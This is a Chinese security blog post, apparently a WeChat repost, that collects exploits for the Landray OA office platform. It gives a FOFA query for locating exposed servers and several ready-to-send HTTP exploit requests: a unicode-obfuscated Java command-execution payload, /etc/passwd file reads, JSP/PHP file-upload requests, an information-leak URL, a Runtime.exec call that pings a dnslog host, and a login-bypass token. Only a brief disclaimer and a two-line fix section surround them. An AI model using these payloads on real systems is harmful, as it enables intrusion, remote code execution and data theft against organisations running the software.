【漏洞复现】蓝凌oa漏洞集合

2024年1月28日21:01:22评论220 views字数 17664阅读58分52秒阅读模式

0x01 阅读须知

SCA御盾实验室的技术文章仅供参考，此文所提供的信息只为网络安全人员对自己所负责的网站、服务器等（包括但不限于）进行检测或维护参考，未经授权请勿利用文章中的技术资料对任何计算机系统进行入侵操作。利用此文所提供的信息而造成的直接或间接后果和损失，均由使用者本人负责。本文所提供的工具仅用于学习，禁止用于其他！！！

0x02 产品描述

蓝凌是国内数智化办公专家，阿里钉钉唯一投资的OA厂商，阿里云知识管理与协同领域首家战略合作伙伴。蓝凌OA系统是一个全方位满足成长型企业和组织日常办公需求的管理平台，具有极强的扩展性，依托蓝凌19年大客户经验，丰富的集成组件，应用灵活拓展。系统可以极佳的性价比和超低的价格实现功能服务全场景覆盖，围绕着团队成员，全面解决日常办公需求。在移动设备上，员工可以随时随地利用碎片化时间进行协作和管理，构建高效率协作团队。此外，蓝凌OA系统还打通了钉钉考勤系统和智能OA审批流程，实现了在移动设备上随时随地进行碎片化时间的组织和24小时运行。系统的工作留痕功能可以积累每天每人每事的过程，并自动汇报、沉淀和形成内部长期可用的经验分享，可建立从目标计划、到执行反馈、定期检查、以及完成总结分享的闭环工作机制。

【漏洞复现】蓝凌oa漏洞集合

0x03 fofa语法：

app="Landray-OA系统"

【漏洞复现】蓝凌oa漏洞集合

0x04 漏洞详情

1、poc-yaml-landray-oa-rce

POST /data/sys-common/treexml.tmpl HTTP/1.1Host:Content-Type: application/x-www-form-urlencodedPragma: no-cacheCmd: cat /etc/passwds_bean=ruleFormulaValidate&script=u0020u0020u0020u0020u0062u006fu006fu006cu0065u0061u006eu0020u0066u006cu0061u0067u0020u003du0020u0066u0061u006cu0073u0065u003bu0054u0068u0072u0065u0061u0064u0047u0072u006fu0075u0070u0020u0067u0072u006fu0075u0070u0020u003du0020u0054u0068u0072u0065u0061u0064u002eu0063u0075u0072u0072u0065u006eu0074u0054u0068u0072u0065u0061u0064u0028u0029u002eu0067u0065u0074u0054u0068u0072u0065u0061u0064u0047u0072u006fu0075u0070u0028u0029u003bu006au0061u0076u0061u002eu006cu0061u006eu0067u002eu0072u0065u0066u006cu0065u0063u0074u002eu0046u0069u0065u006cu0064u0020u0066u0020u003du0020u0067u0072u006fu0075u0070u002eu0067u0065u0074u0043u006cu0061u0073u0073u0028u0029u002eu0067u0065u0074u0044u0065u0063u006cu0061u0072u0065u0064u0046u0069u0065u006cu0064u0028u0022u0074u0068u0072u0065u0061u0064u0073u0022u0029u003bu0066u002eu0073u0065u0074u0041u0063u0063u0065u0073u0073u0069u0062u006cu0065u0028u0074u0072u0075u0065u0029u003bu0054u0068u0072u0065u0061u0064u005bu005du0020u0074u0068u0072u0065u0061u0064u0073u0020u003du0020u0028u0054u0068u0072u0065u0061u0064u005bu005du0029u0020u0066u002eu0067u0065u0074u0028u0067u0072u006fu0075u0070u0029u003bu0066u006fu0072u0020u0028u0069u006eu0074u0020u0069u0020u003du0020u0030u003bu0020u0069u0020u003cu0020u0074u0068u0072u0065u0061u0064u0073u002eu006cu0065u006eu0067u0074u0068u003bu0020u0069u002bu002bu0029u0020u007bu0020u0074u0072u0079u0020u007bu0020u0054u0068u0072u0065u0061u0064u0020u0074u0020u003du0020u0074u0068u0072u0065u0061u0064u0073u005bu0069u005du003bu0069u0066u0020u0028u0074u0020u003du003du0020u006eu0075u006cu006cu0029u0020u007bu0020u0063u006fu006eu0074u0069u006eu0075u0065u003bu0020u007du0053u0074u0072u0069u006eu0067u0020u0073u0074u0072u0020u003du0020u0074u002eu0067u0065u0074u004eu0061u006du0065u0028u0029u003bu0069u0066u0020u0028u0073u0074u0072u002eu0063u006fu006eu0074u0061u0069u006eu0073u0028u0022u0065u0078u0065u0063u0022u0029u0020u007cu007cu0020u0021u0073u0074u0072u002eu0063u006fu006eu0074u0061u0069u006eu0073u0028u0022u0068u0074u0074u0070u0022u0029u0029u0020u007bu0020u0063u006fu006eu0074u0069u006eu0075u0065u003bu0020u007du0066u0020u003du0020u0074u002eu0067u0065u0074u0043u006cu0061u0073u0073u0028u0029u002eu0067u0065u0074u0044u0065u0063u006cu0061u0072u0065u0064u0046u0069u0065u006cu0064u0028u0022u0074u0061u0072u0067u0065u0074u0022u0029u003bu0066u002eu0073u0065u0074u0041u0063u0063u0065u0073u0073u0069u0062u006cu0065u0028u0074u0072u0075u0065u0029u003bu004fu0062u006au0065u0063u0074u0020u006fu0062u006au0020u003du0020u0066u002eu0067u0065u0074u0028u0074u0029u003bu0069u0066u0020u0028u0021u0028u006fu0062u006au0020u0069u006eu0073u0074u0061u006eu0063u0065u006fu0066u0020u0052u0075u006eu006eu0061u0062u006cu0065u0029u0029u0020u007bu0020u0063u006fu006eu0074u0069u006eu0075u0065u003bu0020u007du0066u0020u003du0020u006fu0062u006au002eu0067u0065u0074u0043u006cu0061u0073u0073u0028u0029u002eu0067u0065u0074u0044u0065u0063u006cu0061u0072u0065u0064u0046u0069u0065u006cu0064u0028u0022u0074u0068u0069u0073u0024u0030u0022u0029u003bu0066u002eu0073u0065u0074u0041u0063u0063u0065u0073u0073u0069u0062u006cu0065u0028u0074u0072u0075u0065u0029u003bu006fu0062u006au0020u003du0020u0066u002eu0067u0065u0074u0028u006fu0062u006au0029u003bu0074u0072u0079u0020u007bu0020u0066u0020u003du0020u006fu0062u006au002eu0067u0065u0074u0043u006cu0061u0073u0073u0028u0029u002eu0067u0065u0074u0044u0065u0063u006cu0061u0072u0065u0064u0046u0069u0065u006cu0064u0028u0022u0068u0061u006eu0064u006cu0065u0072u0022u0029u003bu0020u007du0020u0063u0061u0074u0063u0068u0020u0028u004eu006fu0053u0075u0063u0068u0046u0069u0065u006cu0064u0045u0078u0063u0065u0070u0074u0069u006fu006eu0020u0065u0029u0020u007bu0020u0066u0020u003du0020u006fu0062u006au002eu0067u0065u0074u0043u006cu0061u0073u0073u0028u0029u002eu0067u0065u0074u0053u0075u0070u0065u0072u0063u006cu0061u0073u0073u0028u0029u002eu0067u0065u0074u0053u0075u0070u0065u0072u0063u006cu0061u0073u0073u0028u0029u002eu0067u0065u0074u0044u0065u0063u006cu0061u0072u0065u0064u0046u0069u0065u006cu0064u0028u0022u0068u0061u006eu0064u006cu0065u0072u0022u0029u003bu0020u007du0066u002eu0073u0065u0074u0041u0063u0063u0065u0073u0073u0069u0062u006cu0065u0028u0074u0072u0075u0065u0029u003bu006fu0062u006au0020u003du0020u0066u002eu0067u0065u0074u0028u006fu0062u006au0029u003bu0074u0072u0079u0020u007bu0020u0066u0020u003du0020u006fu0062u006au002eu0067u0065u0074u0043u006cu0061u0073u0073u0028u0029u002eu0067u0065u0074u0053u0075u0070u0065u0072u0063u006cu0061u0073u0073u0028u0029u002eu0067u0065u0074u0044u0065u0063u006cu0061u0072u0065u0064u0046u0069u0065u006cu0064u0028u0022u0067u006cu006fu0062u0061u006cu0022u0029u003bu0020u007du0020u0063u0061u0074u0063u0068u0020u0028u004eu006fu0053u0075u0063u0068u0046u0069u0065u006cu0064u0045u0078u0063u0065u0070u0074u0069u006fu006eu0020u0065u0029u0020u007bu0020u0066u0020u003du0020u006fu0062u006au002eu0067u0065u0074u0043u006cu0061u0073u0073u0028u0029u002eu0067u0065u0074u0044u0065u0063u006cu0061u0072u0065u0064u0046u0069u0065u006cu0064u0028u0022u0067u006cu006fu0062u0061u006cu0022u0029u003bu0020u007du0066u002eu0073u0065u0074u0041u0063u0063u0065u0073u0073u0069u0062u006cu0065u0028u0074u0072u0075u0065u0029u003bu006fu0062u006au0020u003du0020u0066u002eu0067u0065u0074u0028u006fu0062u006au0029u003bu0066u0020u003du0020u006fu0062u006au002eu0067u0065u0074u0043u006cu0061u0073u0073u0028u0029u002eu0067u0065u0074u0044u0065u0063u006cu0061u0072u0065u0064u0046u0069u0065u006cu0064u0028u0022u0070u0072u006fu0063u0065u0073u0073u006fu0072u0073u0022u0029u003bu0066u002eu0073u0065u0074u0041u0063u0063u0065u0073u0073u0069u0062u006cu0065u0028u0074u0072u0075u0065u0029u003bu006au0061u0076u0061u002eu0075u0074u0069u006cu002eu004cu0069u0073u0074u0020u0070u0072u006fu0063u0065u0073u0073u006fu0072u0073u0020u003du0020u0028u006au0061u0076u0061u002eu0075u0074u0069u006cu002eu004cu0069u0073u0074u0029u0020u0028u0066u002eu0067u0065u0074u0028u006fu0062u006au0029u0029u003bu0066u006fu0072u0020u0028u0069u006eu0074u0020u006au0020u003du0020u0030u003bu0020u006au0020u003cu0020u0070u0072u006fu0063u0065u0073u0073u006fu0072u0073u002eu0073u0069u007au0065u0028u0029u003bu0020u002bu002bu006au0029u0020u007bu0020u004fu0062u006au0065u0063u0074u0020u0070u0072u006fu0063u0065u0073u0073u006fu0072u0020u003du0020u0070u0072u006fu0063u0065u0073u0073u006fu0072u0073u002eu0067u0065u0074u0028u006au0029u003bu0066u0020u003du0020u0070u0072u006fu0063u0065u0073u0073u006fu0072u002eu0067u0065u0074u0043u006cu0061u0073u0073u0028u0029u002eu0067u0065u0074u0044u0065u0063u006cu0061u0072u0065u0064u0046u0069u0065u006cu0064u0028u0022u0072u0065u0071u0022u0029u003bu0066u002eu0073u0065u0074u0041u0063u0063u0065u0073u0073u0069u0062u006cu0065u0028u0074u0072u0075u0065u0029u003bu004fu0062u006au0065u0063u0074u0020u0072u0065u0071u0020u003du0020u0066u002eu0067u0065u0074u0028u0070u0072u006fu0063u0065u0073u0073u006fu0072u0029u003bu004fu0062u006au0065u0063u0074u0020u0072u0065u0073u0070u0020u003du0020u0072u0065u0071u002eu0067u0065u0074u0043u006cu0061u0073u0073u0028u0029u002eu0067u0065u0074u004du0065u0074u0068u006fu0064u0028u0022u0067u0065u0074u0052u0065u0073u0070u006fu006eu0073u0065u0022u002cu0020u006eu0065u0077u0020u0043u006cu0061u0073u0073u005bu0030u005du0029u002eu0069u006eu0076u006fu006bu0065u0028u0072u0065u0071u002cu0020u006eu0065u0077u0020u004fu0062u006au0065u0063u0074u005bu0030u005du0029u003bu0073u0074u0072u0020u003du0020u0028u0053u0074u0072u0069u006eu0067u0029u0020u0072u0065u0071u002eu0067u0065u0074u0043u006cu0061u0073u0073u0028u0029u002eu0067u0065u0074u004du0065u0074u0068u006fu0064u0028u0022u0067u0065u0074u0048u0065u0061u0064u0065u0072u0022u002cu0020u006eu0065u0077u0020u0043u006cu0061u0073u0073u005bu005du007bu0053u0074u0072u0069u006eu0067u002eu0063u006cu0061u0073u0073u007du0029u002eu0069u006eu0076u006fu006bu0065u0028u0072u0065u0071u002cu0020u006eu0065u0077u0020u004fu0062u006au0065u0063u0074u005bu005du007bu0022u0043u006du0064u0022u007du0029u003bu0069u0066u0020u0028u0073u0074u0072u0020u0021u003du0020u006eu0075u006cu006cu0020u0026u0026u0020u0021u0073u0074u0072u002eu0069u0073u0045u006du0070u0074u0079u0028u0029u0029u0020u007bu0020u0072u0065u0073u0070u002eu0067u0065u0074u0043u006cu0061u0073u0073u0028u0029u002eu0067u0065u0074u004du0065u0074u0068u006fu0064u0028u0022u0073u0065u0074u0053u0074u0061u0074u0075u0073u0022u002cu0020u006eu0065u0077u0020u0043u006cu0061u0073u0073u005bu005du007bu0069u006eu0074u002eu0063u006cu0061u0073u0073u007du0029u002eu0069u006eu0076u006fu006bu0065u0028u0072u0065u0073u0070u002cu0020u006eu0065u0077u0020u004fu0062u006au0065u0063u0074u005bu005du007bu006eu0065u0077u0020u0049u006eu0074u0065u0067u0065u0072u0028u0032u0030u0030u0029u007du0029u003bu0053u0074u0072u0069u006eu0067u005bu005du0020u0063u006du0064u0073u0020u003du0020u0053u0079u0073u0074u0065u006du002eu0067u0065u0074u0050u0072u006fu0070u0065u0072u0074u0079u0028u0022u006fu0073u002eu006eu0061u006du0065u0022u0029u002eu0074u006fu004cu006fu0077u0065u0072u0043u0061u0073u0065u0028u0029u002eu0063u006fu006eu0074u0061u0069u006eu0073u0028u0022u0077u0069u006eu0064u006fu0077u0022u0029u0020u003fu0020u006eu0065u0077u0020u0053u0074u0072u0069u006eu0067u005bu005du007bu0022u0063u006du0064u002eu0065u0078u0065u0022u002cu0020u0022u002fu0063u0022u002cu0020u0073u0074u0072u007du0020u003au0020u006eu0065u0077u0020u0053u0074u0072u0069u006eu0067u005bu005du007bu0022u002fu0062u0069u006eu002fu0073u0068u0022u002cu0020u0022u002du0063u0022u002cu0020u0073u0074u0072u007du003bu0053u0074u0072u0069u006eu0067u0020u0063u0068u0061u0072u0073u0065u0074u004eu0061u006du0065u0020u003du0020u0053u0079u0073u0074u0065u006du002eu0067u0065u0074u0050u0072u006fu0070u0065u0072u0074u0079u0028u0022u006fu0073u002eu006eu0061u006du0065u0022u0029u002eu0074u006fu004cu006fu0077u0065u0072u0043u0061u0073u0065u0028u0029u002eu0063u006fu006eu0074u0061u0069u006eu0073u0028u0022u0077u0069u006eu0064u006fu0077u0022u0029u0020u003fu0020u0022u0047u0042u004bu0022u003au0022u0055u0054u0046u002du0038u0022u003bu0062u0079u0074u0065u005bu005du0020u0074u0065u0078u0074u0032u0020u003du0028u006eu0065u0077u0020u006au0061u0076u0061u002eu0075u0074u0069u006cu002eu0053u0063u0061u006eu006eu0065u0072u0028u0028u006eu0065u0077u0020u0050u0072u006fu0063u0065u0073u0073u0042u0075u0069u006cu0064u0065u0072u0028u0063u006du0064u0073u0029u0029u002eu0073u0074u0061u0072u0074u0028u0029u002eu0067u0065u0074u0049u006eu0070u0075u0074u0053u0074u0072u0065u0061u006du0028u0029u002cu0063u0068u0061u0072u0073u0065u0074u004eu0061u006du0065u0029u0029u002eu0075u0073u0065u0044u0065u006cu0069u006du0069u0074u0065u0072u0028u0022u005cu005cu0041u0022u0029u002eu006eu0065u0078u0074u0028u0029u002eu0067u0065u0074u0042u0079u0074u0065u0073u0028u0063u0068u0061u0072u0073u0065u0074u004eu0061u006du0065u0029u003bu0062u0079u0074u0065u005bu005du0020u0072u0065u0073u0075u006cu0074u003du0028u0022u0045u0078u0065u0063u0075u0074u0065u003au0020u0020u0020u0020u0022u002bu006eu0065u0077u0020u0053u0074u0072u0069u006eu0067u0028u0074u0065u0078u0074u0032u002cu0022u0075u0074u0066u002du0038u0022u0029u0029u002eu0067u0065u0074u0042u0079u0074u0065u0073u0028u0063u0068u0061u0072u0073u0065u0074u004eu0061u006du0065u0029u003bu0074u0072u0079u0020u007bu0020u0043u006cu0061u0073u0073u0020u0063u006cu0073u0020u003du0020u0043u006cu0061u0073u0073u002eu0066u006fu0072u004eu0061u006du0065u0028u0022u006fu0072u0067u002eu0061u0070u0061u0063u0068u0065u002eu0074u006fu006du0063u0061u0074u002eu0075u0074u0069u006cu002eu0062u0075u0066u002eu0042u0079u0074u0065u0043u0068u0075u006eu006bu0022u0029u003bu006fu0062u006au0020u003du0020u0063u006cu0073u002eu006eu0065u0077u0049u006eu0073u0074u0061u006eu0063u0065u0028u0029u003bu0063u006cu0073u002eu0067u0065u0074u0044u0065u0063u006cu0061u0072u0065u0064u004du0065u0074u0068u006fu0064u0028u0022u0073u0065u0074u0042u0079u0074u0065u0073u0022u002cu0020u006eu0065u0077u0020u0043u006cu0061u0073u0073u005bu005du007bu0062u0079u0074u0065u005bu005du002eu0063u006cu0061u0073u0073u002cu0020u0069u006eu0074u002eu0063u006cu0061u0073u0073u002cu0020u0069u006eu0074u002eu0063u006cu0061u0073u0073u007du0029u002eu0069u006eu0076u006fu006bu0065u0028u006fu0062u006au002cu0020u006eu0065u0077u0020u004fu0062u006au0065u0063u0074u005bu005du007bu0072u0065u0073u0075u006cu0074u002cu0020u006eu0065u0077u0020u0049u006eu0074u0065u0067u0065u0072u0028u0030u0029u002cu0020u006eu0065u0077u0020u0049u006eu0074u0065u0067u0065u0072u0028u0072u0065u0073u0075u006cu0074u002eu006cu0065u006eu0067u0074u0068u0029u007du0029u003bu0072u0065u0073u0070u002eu0067u0065u0074u0043u006cu0061u0073u0073u0028u0029u002eu0067u0065u0074u004du0065u0074u0068u006fu0064u0028u0022u0064u006fu0057u0072u0069u0074u0065u0022u002cu0020u006eu0065u0077u0020u0043u006cu0061u0073u0073u005bu005du007bu0063u006cu0073u007du0029u002eu0069u006eu0076u006fu006bu0065u0028u0072u0065u0073u0070u002cu0020u006eu0065u0077u0020u004fu0062u006au0065u0063u0074u005bu005du007bu006fu0062u006au007du0029u003bu0020u007du0020u0063u0061u0074u0063u0068u0020u0028u004eu006fu0053u0075u0063u0068u004du0065u0074u0068u006fu0064u0045u0078u0063u0065u0070u0074u0069u006fu006eu0020u0076u0061u0072u0035u0029u0020u007bu0020u0043u006cu0061u0073u0073u0020u0063u006cu0073u0020u003du0020u0043u006cu0061u0073u0073u002eu0066u006fu0072u004eu0061u006du0065u0028u0022u006au0061u0076u0061u002eu006eu0069u006fu002eu0042u0079u0074u0065u0042u0075u0066u0066u0065u0072u0022u0029u003bu006fu0062u006au0020u003du0020u0063u006cu0073u002eu0067u0065u0074u0044u0065u0063u006cu0061u0072u0065u0064u004du0065u0074u0068u006fu0064u0028u0022u0077u0072u0061u0070u0022u002cu0020u006eu0065u0077u0020u0043u006cu0061u0073u0073u005bu005du007bu0062u0079u0074u0065u005bu005du002eu0063u006cu0061u0073u0073u007du0029u002eu0069u006eu0076u006fu006bu0065u0028u0063u006cu0073u002cu0020u006eu0065u0077u0020u004fu0062u006au0065u0063u0074u005bu005du007bu0072u0065u0073u0075u006cu0074u007du0029u003bu0072u0065u0073u0070u002eu0067u0065u0074u0043u006cu0061u0073u0073u0028u0029u002eu0067u0065u0074u004du0065u0074u0068u006fu0064u0028u0022u0064u006fu0057u0072u0069u0074u0065u0022u002cu0020u006eu0065u0077u0020u0043u006cu0061u0073u0073u005bu005du007bu0063u006cu0073u007du0029u002eu0069u006eu0076u006fu006bu0065u0028u0072u0065u0073u0070u002cu0020u006eu0065u0077u0020u004fu0062u006au0065u0063u0074u005bu005du007bu006fu0062u006au007du0029u003bu0020u007du0066u006cu0061u0067u0020u003du0020u0074u0072u0075u0065u003bu0020u007du0069u0066u0020u0028u0066u006cu0061u0067u0029u0020u007bu0020u0062u0072u0065u0061u006bu003bu0020u007du0020u007du0069u0066u0020u0028u0066u006cu0061u0067u0029u0020u007bu0020u0062u0072u0065u0061u006bu003bu0020u007du0020u007du0020u0063u0061u0074u0063u0068u0020u0028u0045u0078u0063u0065u0070u0074u0069u006fu006eu0020u0065u0029u0020u007bu0020u0063u006fu006eu0074u0069u006eu0075u0065u003bu0020u007du0020u007d

2、poc-yaml-landray-oa-custom-jsp-fileread

POST /sys/ui/extend/varkind/custom.jsp HTTP/1.1Host:User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15Content-Type: application/x-www-form-urlencodedAccept-Encoding: gzipvar={"body":{"file":"file:///etc/passwd"}}

3、landray-upload

POST /sys/attachment/sys_att_main/jg_service.jsp HTTP/1.1Host: User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36Accept-Encoding: gzip, deflateAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3Connection: closePragma: no-cacheCache-Control: no-cacheUpgrade-Insecure-Requests: 1Accept-Language: zh-CN,zh;q=0.9Content-Length: 210DBSTEP V3.0    124            0              999            DBSTEP=REJTVEVQOPTION=U0FWRUFTSFRNTA==HTMLNAME=Li4vLi4vLi4vLi4vLi4vZWtwL3Jlc291cmNlL2Vsa3FmY3VmLmpzcA==RECORDID=DIRECTORY=elkqfcuf182323GET /resource/elkqfcuf.jsp HTTP/1.1Host: User-Agent: python-requests/2.31.0Accept-Encoding: gzip, deflateAccept: */*Connection: close

4、zhihuidiaodupingtai-upload-file-upload

POST /api/client/upload.php HTTP/1.1Host: User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:108.0) Gecko/20100101 Firefox/108.0Accept-Encoding: gzip, deflateAccept: */*Connection: closeContent-Type: multipart/form-data;boundary=----WebKitFormBoundaryVBf7Cs8QWsfwC82MContent-Length: 194------WebKitFormBoundaryVBf7Cs8QWsfwC82MContent-Disposition: form-data; name="ulfile"; filename="lztkkl.php"Content-Type: image/jpeg99647lztkkl------WebKitFormBoundaryVBf7Cs8QWsfwC82M--GET /upload/lztkkl.php HTTP/1.1Host: User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:108.0) Gecko/20100101 Firefox/108.0Accept-Encoding: gzip, deflateAccept: */*Connection: close

5、landray-sysZonePersonInfo-info-leak

/sys/zone/sys_zone_personInfo/sysZonePersonInfo.do?.js?=&method=searchPerson&rowsize=50&orderby=&ordertype=up&s_ajax=true

6、landrayoa-2022-rce

/data/sys-common/datajson.js?s_bean=sysFormulaSimulateByJS&script=function test(){ return java.lang.Runtime};r=test();r.getRuntime().exec("ping xxx.dnslog.cn")&type=1

7、landray-login-bypass

/sys/?outToken=MTE4M2IwYjg0ZWU0ZjU4MWJiYTAwMWM0N2E3OGIyZDk=

8、landray-login-bypass-rce

9、landray-getLoginSessionId-login-bypass

10、landray-getLoginSessionId-login-bypass-file-upload

11、landray-sysUiComponent-file-upload

0x05 修复建议

1、升级蓝凌oa系统至最新版本

2、官网下载最新安全补丁：https://www.landray.com.cn/

更多蓝凌漏洞poc+exp+漏洞批量扫描脚本

原文始发于微信公众号（SCA御盾）：【漏洞复现】蓝凌oa漏洞集合

左青龙
微信扫一扫

右白虎
微信扫一扫

【漏洞复现】蓝凌oa漏洞集合

0x01 阅读须知

使用 Burp 枚举 REST API

fastjson-BCEL不出网打法原理分析

改变content-type类型所触发的csrf

【OSCP】vivifytech

从零开始的Kubernetes攻防

一次js混淆测试记录

OSCP系列靶场-Esay-SunsetNoontide

一万多块奖金的PaaS平台漏洞

OSCP从WEB到内网&&文件上传&&SSH公私钥免密登录&&Cron job提权打靶经验分...

IO攻击之stdout

发表评论